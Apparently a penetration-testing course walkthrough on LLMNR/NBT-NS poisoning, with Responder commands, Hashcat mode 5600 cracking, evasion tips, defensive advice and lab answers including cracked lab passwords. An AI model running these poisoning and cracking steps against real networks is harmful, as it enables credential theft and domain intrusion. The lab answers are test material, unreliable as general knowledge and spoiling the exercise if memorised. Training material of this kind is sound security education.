This section covers Man-in-the-Middle (MITM) attacks on Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) broadcasts to capture domain credentials and establish a foothold.
- Capture NetNTLMv2 hashes from network traffic
- Crack hashes offline to obtain cleartext passwords
- Gain initial domain foothold with valid credentials
Microsoft Windows components that serve as alternate name resolution methods when DNS fails:
- Purpose: Host identification when DNS fails
- Port: 5355/UDP
- Behavior: Broadcasts to all hosts on local network
- Based on: DNS format
- Purpose: System identification by NetBIOS name
- Port: 137/UDP
- Behavior: Used when LLMNR fails
- Function: Local network name resolution
ANY host on the network can reply to LLMNR/NBT-NS requests!
1. User mistypes: \\printer01.inlanefreight.local (instead of \\print01)
↓
2. DNS server responds: "Host unknown"
↓
3. Host broadcasts: "Anyone know \\printer01.inlanefreight.local?"
↓
4. Attacker responds: "Yes, that's me!" (POISONING)
↓
5. Host sends authentication: Username + NTLMv2 hash
↓
6. Attacker captures hash for offline cracking
- Spoofing: Pretend to be the requested host
- Capture: NetNTLM authentication attempts
- Result: Username + NTLMv2 password hash
- Follow-up: Offline brute force or SMB relay
| Tool | Description | Platform |
|---|---|---|
| Responder | Purpose-built LLMNR/NBT-NS poisoning tool | Linux/Windows |
| Inveigh | Cross-platform MITM platform | PowerShell/C# |
| Metasploit | Built-in scanners and spoofing modules | Multi-platform |
All tools can attack:
- LLMNR, DNS, MDNS, NBNS
- DHCP, ICMP, HTTP, HTTPS
- SMB, LDAP, WebDAV, Proxy Auth
Responder additionally supports:
- MSSQL, DCE-RPC
- FTP, POP3, IMAP, SMTP auth
# View help options
responder -h
# Passive analysis mode (reconnaissance only)
sudo responder -I ens224 -A
# Active poisoning (default mode)
sudo responder -I ens224
# With common flags
sudo responder -I ens224 -wf| Flag | Function | Notes |
|---|---|---|
-I |
Network interface | Required (or use IP with -i) |
-A |
Analyze mode | Passive listening only |
-w |
WPAD rogue proxy | Captures HTTP requests |
-f |
Fingerprint | OS version detection |
-r |
NetBIOS wredir | May break network functionality |
-v |
Verbose | Increased output |
-F |
Force WPAD auth | May cause login prompts |
-P |
Proxy auth | Force NTLM/Basic authentication |
Responder needs these ports available:
UDP: 137, 138, 53, 389, 1434, 5355, 5353
TCP: 389, 1433, 80, 135, 139, 445, 21, 3141, 25, 110, 587, 3128
# Basic capture
sudo responder -I ens224
# Recommended flags for maximum effectiveness
sudo responder -I ens224 -wf
# Run in background while doing other enum
sudo responder -I ens224 -wf &
# or use tmux/screenLog files stored in: /usr/share/responder/logs/
Naming convention: (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt
Examples:
SMB-NTLMv2-SSP-172.16.5.25.txt
HTTP-NTLMv2-172.16.5.200.txt
Proxy-Auth-NTLMv2-172.16.5.200.txt
# Example log directory
ls /usr/share/responder/logs/
Analyzer-Session.log # Analysis mode logs
Responder-Session.log # Main session log
Config-Responder.log # Configuration changes
Poisoners-Session.log # Poisoning attempts
SMB-NTLMv2-SSP-172.16.5.25.txt # Captured SMB hash
HTTP-NTLMv2-172.16.5.200.txt # Captured HTTP hashNetNTLMv2 hashes are most common from Responder:
- Hashcat mode: 5600
- Cannot be used for Pass-the-Hash (must crack)
- Format: Long string with multiple colons
# Crack NetNTLMv2 hash with rockyou
hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt
# With optimizations
hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt -O
# Show cracked hashes
hashcat -m 5600 captured_hash.txt --show# Input hash file content
FOREND::INLANEFREIGHT:4af70a79938ddf8a:0f85ad1e80baa52d732719dbf62c34cc:...
# Hashcat output
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: FOREND::INLANEFREIGHT:4af70a79938ddf8a:0f85ad1e80ba...
Time.Started.....: Mon Feb 28 15:20:30 2022 (11 secs)
Speed.#1.........: 1086.9 kH/s
Recovered........: 1/1 (100.00%) Digests
Result...........: Klmcargo2Web Proxy Auto-Discovery captures HTTP traffic:
# Enable WPAD rogue proxy
sudo responder -I ens224 -w
# Highly effective in large organizations
# Captures Internet Explorer auto-detect trafficResponder captures multiple authentication types:
- SMB: File share access attempts
- HTTP: Web authentication
- LDAP: Directory service queries
- Proxy: Browser proxy authentication
Best practices:
- Run continuously during assessment
- Use tmux/screen for persistent sessions
- Monitor multiple interfaces if available
- Combine with other techniques (password spraying)
- Target: 10.129.226.51 (ACADEMY-EA-ATTACK01)
- Credentials: htb-student:HTB_@cademy_stdnt!
- Network: Internal AD environment
Task: Run Responder and obtain hash for user account starting with letter 'b'
Solution:
# SSH to attack host
ssh htb-student@10.129.226.51
# Start Responder
sudo responder -I ens224 -wf
# Wait for traffic (may need to wait or generate activity)
# Check logs for captured hashes
ls /usr/share/responder/logs/
# Look for hashes with usernames starting with 'b'
grep -r "^[bB]" /usr/share/responder/logs/*.txtAnswer: backupagent
Task: Crack the hash for the backupagent account
Solution:
# Find the hash file for backupagent
ls /usr/share/responder/logs/ | grep -i backup
# Crack with Hashcat
hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt /usr/share/wordlists/rockyou.txt
# Show cracked result
hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt --showAnswer: h1backup55
Task: Obtain NTLMv2 hash for user wley and crack it
Solution:
# Continue running Responder (or restart)
sudo responder -I ens224 -wf
# Wait for wley user activity
# Monitor logs for wley hash
tail -f /usr/share/responder/logs/Responder-Session.log
# Once captured, crack the hash
hashcat -m 5600 /usr/share/responder/logs/*wley*.txt /usr/share/wordlists/rockyou.txt
# View result
hashcat -m 5600 /usr/share/responder/logs/*wley*.txt --showAnswer: transporter@4
- Network monitoring for unusual multicast traffic
- DNS logging for failed resolution patterns
- Authentication monitoring for rapid hash attempts
- Network segmentation to limit broadcast domains
- Selective poisoning (target specific hosts)
- Time-based attacks (poison during business hours)
- Protocol selection (focus on less monitored protocols)
- Legitimate-looking responses (match network naming schemes)
Check:
- Network interface is correct
- Ports are available (kill conflicting services)
- Network activity exists (users accessing resources)
- Permissions (run as root/sudo)
Considerations:
- Hash format is correct (mode 5600 for NetNTLMv2)
- Wordlist path is valid
- Hardware capabilities (GPU vs CPU)
- Password complexity (may need larger wordlists)
Potential issues:
- Service disruption from poisoned responses
- Network instability if using
-rflag - Alerting security teams to testing activity
- Low technical barrier to entry
- High success rate in many environments
- Provides domain foothold for further attacks
- Passive collection while performing other tasks
- Disable LLMNR/NBT-NS where possible
- Implement network segmentation
- Monitor authentication patterns
- Use strong password policies
- Deploy SMB signing to prevent relay attacks
- Start early in assessment (passive collection)
- Run continuously during testing
- Combine with enumeration activities
- Prioritize hash cracking based on enumeration results
# Passive analysis
sudo responder -I ens224 -A
# Active poisoning
sudo responder -I ens224
sudo responder -I ens224 -wf # With WPAD + fingerprinting
# Check logs
ls /usr/share/responder/logs/
tail -f /usr/share/responder/logs/Responder-Session.log# Crack NetNTLMv2 hashes
hashcat -m 5600 hash_file.txt /usr/share/wordlists/rockyou.txt
# Show cracked hashes
hashcat -m 5600 hash_file.txt --show
# Extract just the password
hashcat -m 5600 hash_file.txt --show | cut -d: -f6# Find specific usernames
grep -r "USERNAME" /usr/share/responder/logs/
# Count captured hashes
ls /usr/share/responder/logs/*.txt | wc -l
# View hash contents
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txtThis poisoning technique provides an excellent foothold for domain penetration testing by exploiting fundamental Windows networking protocols.